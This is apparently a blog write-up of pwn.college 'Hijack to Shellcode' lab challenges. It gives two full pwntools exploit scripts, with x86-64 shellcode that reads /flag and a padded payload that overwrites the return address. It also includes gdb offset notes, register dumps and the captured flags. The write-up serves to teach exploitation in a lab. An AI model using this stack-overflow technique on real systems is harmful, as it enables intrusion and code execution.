os.environ['PWNLIB_NOTERM'] = '1' # also fixes the curses/terminfo error
from pwn import *

context.binary = '/challenge/binary-exploitation-hijack-to-shellcode-w'
#context.arch = 'amd64'

p = process('/challenge/binary-exploitation-hijack-to-shellcode-w')
buf_addr = 0x7fffffffd5b8

shellcode = asm('''
/* Construct string "/flag" on stack */
sub rsp, 8
mov rdi, rsp
mov rbx, 0xffffffffffffffff
mov [rdi], rbx
xor rax, rax
mov [rdi+5], al /* Null terminator */
mov al, 0x2f /* '/' */
mov [rdi], al
mov al, 0x66 /* 'f' */
mov [rdi+1], al
mov al, 0x6c /* 'l' */
mov [rdi+2], al
mov al, 0x61 /* 'a' */
mov [rdi+3], al
mov al, 0x67 /* 'g' */
mov [rdi+4], al

/* Open file */
xor rsi, rsi /* O_RDONLY = 0 */
xor rdx, rdx /* mode = 0 */
xor rax, rax
mov al, 2 /* sys_open */
syscall

/* Read file */
mov rdi, rax /* fd */
xor rbx, rbx
mov bl, 1
shl rbx, 8 /* rbx = 256 */
sub rsp, rbx /* Allocate 256 bytes */
mov rsi, rsp /* buffer */
mov rdx, rbx /* count = 256 */
xor rax, rax /* sys_read = 0 */
syscall

/* Write to stdout */
mov rdx, rax /* bytes read */
xor rdi, rdi
mov dil, 1 /* stdout = 1 */
mov rsi, rsp /* buffer */
xor rax, rax
mov al, 1 /* sys_write */
syscall

/* Exit */
xor rax, rax
mov al, 60 /* sys_exit */
syscall
''')

padding = b'\x90'*56
return_address = p64(buf_addr +0x8)

payload = padding + return_address +shellcode
p.recvuntil(b'Send your payload (up to 4096 bytes)!')

#payload = shellcode #b'a'*11 + b'\0' +b'a'*108 #+ b"\x73\x25" +p64(0x1337)
#payload += p64(0x6d6d )
#payload += b"\x28\x6e" #+p64(0x2573) +p64(0x1337)
#payload +=p64(0x2573) +p64(0x1337)
#out = b''


#p.send(shellcode)
#p.send(b'\n')
#p.recvuntil(b'Send your payload (up to 4096 bytes)!\n')
#out += p.recv(timeout=0.2)
#if b'pwn' in out :
#break
#print(out)

#print(out.decode(errors='ignore'))
p.sendline(payload)

p.interactive()

Goodbye!

pwn.college{cn8KnXMiaDdfQuJF6HjjitEDKL5.dFjMzwSNzEDO0EzW}

Hijack to Shellcode (hard)

0x0000000000401ef7 <+98>: lea rax,[rbp-0x30]

0x0000000000401efb <+102>: mov rsi,rax

0x0000000000401efe <+105>: mov edi,0x0

0x0000000000401f03 <+110>: call 0x401130 <read@plt>

offset = 0x30 + 0x8 = 56

b*challenge

0x401e9d <challenge+8> sub rsp, 0x50 RSP => 0x7fffffffd6b0 (0x7fffffffd700 - 0x50)

pwndbg> i r

rax 0x1 1

rbx 0x401fe0 4202464

rcx 0x7fffffffe828 140737488349224

rdx 0x7fffffffe838 140737488349240

rsi 0x7fffffffe828 140737488349224

rdi 0x1 1

rbp 0x7fffffffd700 0x7fffffffd700

rsp 0x7fffffffd6b0 0x7fffffffd6b0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import os
os.environ['PATH'] = '/usr/bin:/bin'
os.environ['PWNLIB_NOTERM'] = '1' # also fixes the curses/terminfo error
from pwn import *

context.binary = '/challenge/binary-exploitation-hijack-to-shellcode'
#context.arch = 'amd64'

p = process('/challenge/binary-exploitation-hijack-to-shellcode')
rbp_addr = 0x7fffffffd5b8

shellcode = asm('''
/* Construct string "/flag" on stack */
sub rsp, 8
mov rdi, rsp
mov rbx, 0xffffffffffffffff
mov [rdi], rbx
xor rax, rax
mov [rdi+5], al /* Null terminator */
mov al, 0x2f /* '/' */
mov [rdi], al
mov al, 0x66 /* 'f' */
mov [rdi+1], al
mov al, 0x6c /* 'l' */
mov [rdi+2], al
mov al, 0x61 /* 'a' */
mov [rdi+3], al
mov al, 0x67 /* 'g' */
mov [rdi+4], al

/* Open file */
xor rsi, rsi /* O_RDONLY = 0 */
xor rdx, rdx /* mode = 0 */
xor rax, rax
mov al, 2 /* sys_open */
syscall

/* Read file */
mov rdi, rax /* fd */
xor rbx, rbx
mov bl, 1
shl rbx, 8 /* rbx = 256 */
sub rsp, rbx /* Allocate 256 bytes */
mov rsi, rsp /* buffer */
mov rdx, rbx /* count = 256 */
xor rax, rax /* sys_read = 0 */
syscall

/* Write to stdout */
mov rdx, rax /* bytes read */
xor rdi, rdi
mov dil, 1 /* stdout = 1 */
mov rsi, rsp /* buffer */
xor rax, rax
mov al, 1 /* sys_write */
syscall

/* Exit */
xor rax, rax
mov al, 60 /* sys_exit */
syscall
''')

padding = b'\x90'*56
return_address = p64(rbp_addr +0x8)

payload = padding +return_address+ shellcode
p.recvuntil(b'Send your payload (up to 4096 bytes)!')

#payload = shellcode #b'a'*11 + b'\0' +b'a'*108 #+ b"\x73\x25" +p64(0x1337)
#payload += p64(0x6d6d )
#payload += b"\x28\x6e" #+p64(0x2573) +p64(0x1337)
#payload +=p64(0x2573) +p64(0x1337)
out = b''


#p.send(shellcode)
#p.send(b'\n')
#p.recvuntil(b'Send your payload (up to 4096 bytes)!\n')
p.sendline(payload)

out += p.recv(timeout=0.2)
#if b'pwn' in out :
#break
#print(out)

print(out.decode(errors='ignore'))
print('fuck')
print(payload)

p.interactive()

Goodbye!

pwn.college{YGhLsteomvt_kBZoDa6Nl5iNeRA.dJjMzwSNzEDO0EzW}

the environment in VSCode is isolated

after running it once, the saved RBP doesn’t change, which is different from what pwndbg shows

wasting my time :(


pwn.college-start&intro to cybersecurty
https://ghostshark-pro.github.io/2026/04/23/pwn.college-start&intro to cybersecurty/
Author
shark
Posted
2026年4月23日
License